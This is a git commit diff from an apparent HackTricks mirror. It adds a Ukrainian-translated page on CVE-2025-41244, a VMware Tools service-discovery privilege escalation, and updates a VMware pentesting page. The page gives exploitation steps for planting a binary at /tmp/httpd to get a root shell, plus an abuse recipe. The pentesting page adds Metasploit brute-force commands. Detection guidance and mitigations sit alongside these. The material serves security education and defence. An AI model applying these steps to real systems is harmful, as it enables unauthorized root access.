mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/linux-hardening/privilege-escalation/README.md', 'src/l
This commit is contained in:
parent
f9c44abc17
commit
83038eb01c
@ -110,6 +110,7 @@
|
|||||||
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
- [Checklist - Linux Privilege Escalation](linux-hardening/linux-privilege-escalation-checklist.md)
|
||||||
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
- [Linux Privilege Escalation](linux-hardening/privilege-escalation/README.md)
|
||||||
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
- [Android Rooting Frameworks Manager Auth Bypass Syscall Hook](linux-hardening/privilege-escalation/android-rooting-frameworks-manager-auth-bypass-syscall-hook.md)
|
||||||
|
- [Vmware Tools Service Discovery Untrusted Search Path Cve 2025 41244](linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md)
|
||||||
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
- [Arbitrary File Write to Root](linux-hardening/privilege-escalation/write-to-root.md)
|
||||||
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
- [Cisco - vmanage](linux-hardening/privilege-escalation/cisco-vmanage.md)
|
||||||
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
- [Containerd (ctr) Privilege Escalation](linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md)
|
||||||
|
File diff suppressed because it is too large
Load Diff
@ -0,0 +1,146 @@
|
|||||||
|
# VMware Tools service discovery LPE (CWE-426) via regex-based binary discovery (CVE-2025-41244)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
Ця техніка зловживає пайплайнами виявлення сервісів, керованими regex, які розбирають командні рядки запущених процесів, щоб визначити версії сервісів, а потім запускають кандидатний бінарний файл з прапорцем "version". Коли дозволяючі шаблони приймають ненадійні, керовані атакуючим шляхи (наприклад, /tmp/httpd), привілейований колектор виконує довільний бінарний файл з ненадійного розташування, що призводить до локального підвищення привілеїв. NVISO задокументувала це в VMware Tools/Aria Operations Service Discovery як CVE-2025-41244.
|
||||||
|
|
||||||
|
- Вплив: локальне підвищення привілеїв до root (або до привілейованого облікового запису для виявлення)
|
||||||
|
- Причина: Untrusted Search Path (CWE-426) + надмірно широка відповідність regex командних рядків процесів
|
||||||
|
- Затронуті: open-vm-tools/VMware Tools на Linux (credential-less discovery), VMware Aria Operations SDMP (credential-based discovery via Tools/proxy)
|
||||||
|
|
||||||
|
## Як працює виявлення сервісів VMware (на високому рівні)
|
||||||
|
|
||||||
|
- Credential-based (legacy): Aria виконує скрипти виявлення всередині гостьової ОС через VMware Tools, використовуючи налаштовані привілейовані облікові дані.
|
||||||
|
- Credential-less (modern): Логіка виявлення працює в межах VMware Tools, які вже мають привілеї в гостьовій системі.
|
||||||
|
|
||||||
|
Обидва режими в кінцевому підсумку виконують shell логіку, яка сканує процеси з прослуховуючими сокетами, витягує відповідний шлях команди за допомогою regex і виконує перший токен argv з прапорцем версії.
|
||||||
|
|
||||||
|
## Root cause and vulnerable pattern (open-vm-tools)
|
||||||
|
|
||||||
|
В open-vm-tools скрипт плагіна serviceDiscovery get-versions.sh знаходить кандидатні бінарні файли за допомогою широких регулярних виразів та виконує перший токен без будь-якої перевірки довіреного шляху:
|
||||||
|
```bash
|
||||||
|
get_version() {
|
||||||
|
PATTERN=$1
|
||||||
|
VERSION_OPTION=$2
|
||||||
|
for p in $space_separated_pids
|
||||||
|
do
|
||||||
|
COMMAND=$(get_command_line $p | grep -Eo "$PATTERN")
|
||||||
|
[ ! -z "$COMMAND" ] && echo VERSIONSTART "$p" "$("${COMMAND%%[[:space:]]*}" $VERSION_OPTION 2>&1)" VERSIONEND
|
||||||
|
done
|
||||||
|
}
|
||||||
|
```
|
||||||
|
Викликається з дозволяючими шаблонами, що містять \S (непробільні символи), які з легкістю відповідатимуть не-системним шляхам у розташуваннях, доступних для запису користувачем:
|
||||||
|
```bash
|
||||||
|
get_version "/\S+/(httpd-prefork|httpd|httpd2-prefork)($|\s)" -v
|
||||||
|
get_version "/usr/(bin|sbin)/apache\S*" -v
|
||||||
|
get_version "/\S+/mysqld($|\s)" -V
|
||||||
|
get_version "\.?/\S*nginx($|\s)" -v
|
||||||
|
get_version "/\S+/srm/bin/vmware-dr($|\s)" --version
|
||||||
|
get_version "/\S+/dataserver($|\s)" -v
|
||||||
|
```
|
||||||
|
- Витяг відбувається за допомогою grep -Eo і бере перший токен: ${COMMAND%%[[:space:]]*}
|
||||||
|
- Немає whitelist/allowlist довірених системних шляхів; будь-який виявлений listener з відповідною назвою виконується з -v/--version
|
||||||
|
|
||||||
|
This creates an untrusted search path execution primitive: arbitrary binaries located in world-writable directories (e.g., /tmp/httpd) get executed by a privileged component.
|
||||||
|
|
||||||
|
## Exploitation (both credential-less and credential-based modes)
|
||||||
|
|
||||||
|
Передумови
|
||||||
|
- Ви можете запустити непривілейований процес, який відкриває прослуховувальний сокет на гості.
|
||||||
|
- Завдання виявлення увімкнено і запускається періодично (історично ~5 хвилин).
|
||||||
|
|
||||||
|
Кроки
|
||||||
|
1) Розмістіть двійник у шляху, що відповідає одному з дозволяючих регулярних виразів, наприклад /tmp/httpd або ./nginx
|
||||||
|
2) Запустіть його від імені користувача з низькими привілеями і переконайтеся, що він відкриває прослуховувальний сокет
|
||||||
|
3) Зачекайте цикл виявлення; привілейований колектор автоматично виконає: /tmp/httpd -v (або подібне), запустивши вашу програму як root
|
||||||
|
|
||||||
|
Мінімальна демонстрація (за підходом NVISO’s)
|
||||||
|
```bash
|
||||||
|
# Build any small helper that:
|
||||||
|
# - default mode: opens a dummy TCP listener
|
||||||
|
# - when called with -v/--version: performs the privileged action (e.g., connect to an abstract UNIX socket and spawn /bin/sh -i)
|
||||||
|
# Example staging and trigger
|
||||||
|
cp your_helper /tmp/httpd
|
||||||
|
chmod +x /tmp/httpd
|
||||||
|
/tmp/httpd # run as low-priv user and wait for the cycle
|
||||||
|
# After the next cycle, expect a root shell or your privileged action
|
||||||
|
```
|
||||||
|
Типовий ланцюг процесів
|
||||||
|
- З обліковими даними: /usr/bin/vmtoolsd -> /bin/sh /tmp/VMware-SDMP-Scripts-.../script_...sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
|
- Без облікових даних: /bin/sh .../get-versions.sh -> /tmp/httpd -v -> /bin/sh -i
|
||||||
|
|
||||||
|
Артефакти (з обліковими даними)
|
||||||
|
Відновлені SDMP wrapper scripts під /tmp/VMware-SDMP-Scripts-{UUID}/ можуть показувати пряме виконання зловмисного шляху:
|
||||||
|
```bash
|
||||||
|
/tmp/httpd -v >"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stdout" 2>"/tmp/VMware-SDMP-Scripts-{UUID}/script_-{ID}_0.stderr"
|
||||||
|
```
|
||||||
|
## Узагальнення техніки: regex-driven discovery abuse (portable pattern)
|
||||||
|
|
||||||
|
Багато агентів і систем моніторингу реалізують виявлення версій/сервісів шляхом:
|
||||||
|
- Перерахування процесів з прослуховуючими сокетами
|
||||||
|
- Пошуку в argv/command lines за допомогою permissive regex (наприклад, патерни, що містять \S)
|
||||||
|
- Запуску знайденого шляху з безпечним прапорцем типу -v, --version, -V, -h
|
||||||
|
|
||||||
|
Якщо regex приймає ненадійні шляхи і шлях виконується з привілейованого контексту, отримуємо CWE-426 Untrusted Search Path execution.
|
||||||
|
|
||||||
|
Abuse recipe
|
||||||
|
- Назвіть свій бінарний файл як звичні демони, які regex ймовірно знайде: httpd, nginx, mysqld, dataserver
|
||||||
|
- Розмістіть його в записуваному каталозі: /tmp/httpd, ./nginx
|
||||||
|
- Переконайтесь, що воно співпадає з regex і відкриває порт для виявлення
|
||||||
|
- Зачекайте на плановий колектор; отримаєте автоматичний привілейований виклик <path> -v
|
||||||
|
|
||||||
|
Masquerading note: This aligns with MITRE ATT&CK T1036.005 (Match Legitimate Name or Location) to increase match probability and stealth.
|
||||||
|
|
||||||
|
Reusable privileged I/O relay trick
|
||||||
|
- Побудуйте допоміжну програму так, щоб при виклику з привілеями (-v/--version) вона підключалась до відомої точки зустрічі (наприклад, a Linux abstract UNIX socket like @cve) і мостила stdio до /bin/sh -i. Це уникає артефактів на диску і працює в багатьох середовищах, де той самий бінарний файл повторно викликається з прапорцем.
|
||||||
|
|
||||||
|
## Detection and DFIR guidance
|
||||||
|
|
||||||
|
Hunting queries
|
||||||
|
- Незвичні дочірні процеси vmtoolsd або get-versions.sh, такі як /tmp/httpd, ./nginx, /tmp/mysqld
|
||||||
|
- Будь-яке виконання discovery-скриптами абсолютних шляхів поза системними префіксами (шукайте пробіли в розширеннях ${COMMAND%%...})
|
||||||
|
- ps -ef --forest для візуалізації дерев спадкоємності: vmtoolsd -> get-versions.sh -> <non-system path>
|
||||||
|
|
||||||
|
On Aria SDMP (credential-based)
|
||||||
|
- Перевірте /tmp/VMware-SDMP-Scripts-{UUID}/ на предмет тимчасових скриптів та артефактів stdout/stderr, що показують виконання шляхів нападника
|
||||||
|
|
||||||
|
Policy/telemetry
|
||||||
|
- Сповіщення при виконанні привілейованих колекторів з не-системних префіксів: ^/(tmp|home|var/tmp|dev/shm)/
|
||||||
|
- Моніторинг цілісності файлів get-versions.sh та VMware Tools plugins
|
||||||
|
|
||||||
|
## Mitigations
|
||||||
|
|
||||||
|
- Patch: Apply Broadcom/VMware updates for CVE-2025-41244 (Tools and Aria Operations SDMP)
|
||||||
|
- Вимкніть або обмежте discovery без облікових даних там, де можливо
|
||||||
|
- Перевіряйте довірені шляхи: обмежте виконання дозволеними директоріями (/usr/sbin, /usr/bin, /sbin, /bin) і лише точними відомими бінарними файлами
|
||||||
|
- Уникайте permissive regex з \S; віддавайте перевагу анкерованим, явним абсолютним шляхам і точним іменам команд
|
||||||
|
- Знижуйте привілеї для discovery helper-ів де можливо; використовуйте sandbox (seccomp/AppArmor) щоб зменшити вплив
|
||||||
|
- Моніторьте та сповіщайте про виконання vmtoolsd/get-versions.sh не-системних шляхів
|
||||||
|
|
||||||
|
## Notes for defenders and implementers
|
||||||
|
|
||||||
|
Більш безпечний шаблон для пошуку і виконання
|
||||||
|
```bash
|
||||||
|
# Bad: permissive regex and blind exec
|
||||||
|
COMMAND=$(get_command_line "$pid" | grep -Eo "/\\S+/nginx(\$|\\s)")
|
||||||
|
[ -n "$COMMAND" ] && "${COMMAND%%[[:space:]]*}" -v
|
||||||
|
|
||||||
|
# Good: strict allowlist + path checks
|
||||||
|
candidate=$(get_command_line "$pid" | awk '{print $1}')
|
||||||
|
case "$candidate" in
|
||||||
|
/usr/sbin/nginx|/usr/sbin/httpd|/usr/sbin/apache2)
|
||||||
|
"$candidate" -v 2>&1 ;;
|
||||||
|
*)
|
||||||
|
: # ignore non-allowlisted paths
|
||||||
|
;;
|
||||||
|
esac
|
||||||
|
```
|
||||||
|
## Джерела
|
||||||
|
|
||||||
|
- [NVISO – You name it, VMware elevates it (CVE-2025-41244)](https://blog.nviso.eu/2025/09/29/you-name-it-vmware-elevates-it-cve-2025-41244/)
|
||||||
|
- [Broadcom advisory for CVE-2025-41244](https://support.broadcom.com/web/ecx/support-content-notification/-/external/content/SecurityAdvisories/0/36149)
|
||||||
|
- [open-vm-tools – serviceDiscovery/get-versions.sh (stable-13.0.0)](https://github.com/vmware/open-vm-tools/blob/stable-13.0.0/open-vm-tools/services/plugins/serviceDiscovery/get-versions.sh)
|
||||||
|
- [MITRE ATT&CK T1036.005 – Match Legitimate Name or Location](https://attack.mitre.org/techniques/T1036/005/)
|
||||||
|
- [CWE-426: Untrusted Search Path](https://cwe.mitre.org/data/definitions/426.html)
|
||||||
|
|
||||||
|
{{#include ../../banners/hacktricks-training.md}}
|
@ -1,16 +1,28 @@
|
|||||||
|
# VMware ESX / vCenter Pentesting
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
|
||||||
|
|
||||||
# Перерахування
|
## Перерахування
|
||||||
```bash
|
```bash
|
||||||
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
nmap -sV --script "http-vmware-path-vuln or vmware-version" -p <PORT> <IP>
|
||||||
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
msf> use auxiliary/scanner/vmware/esx_fingerprint
|
||||||
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
msf> use auxiliary/scanner/http/ms15_034_http_sys_memory_dump
|
||||||
```
|
```
|
||||||
# Брутфорс
|
## Bruteforce
|
||||||
```bash
|
```bash
|
||||||
msf> auxiliary/scanner/vmware/vmware_http_login
|
msf> auxiliary/scanner/vmware/vmware_http_login
|
||||||
```
|
```
|
||||||
Якщо ви знайдете дійсні облікові дані, ви можете використовувати більше модулів сканера Metasploit для отримання інформації.
|
Якщо ви знайдете дійсні облікові дані, ви можете використати більше metasploit scanner modules для отримання інформації.
|
||||||
|
|
||||||
|
|
||||||
|
|
||||||
|
### Див. також
|
||||||
|
|
||||||
|
Linux LPE via VMware Tools service discovery (CWE-426 / CVE-2025-41244):
|
||||||
|
|
||||||
|
{{#ref}}
|
||||||
|
../../linux-hardening/privilege-escalation/vmware-tools-service-discovery-untrusted-search-path-cve-2025-41244.md
|
||||||
|
{{#endref}}
|
||||||
|
|
||||||
{{#include ../../banners/hacktricks-training.md}}
|
{{#include ../../banners/hacktricks-training.md}}
|
||||||
|
Loading…
x
Reference in New Issue
Block a user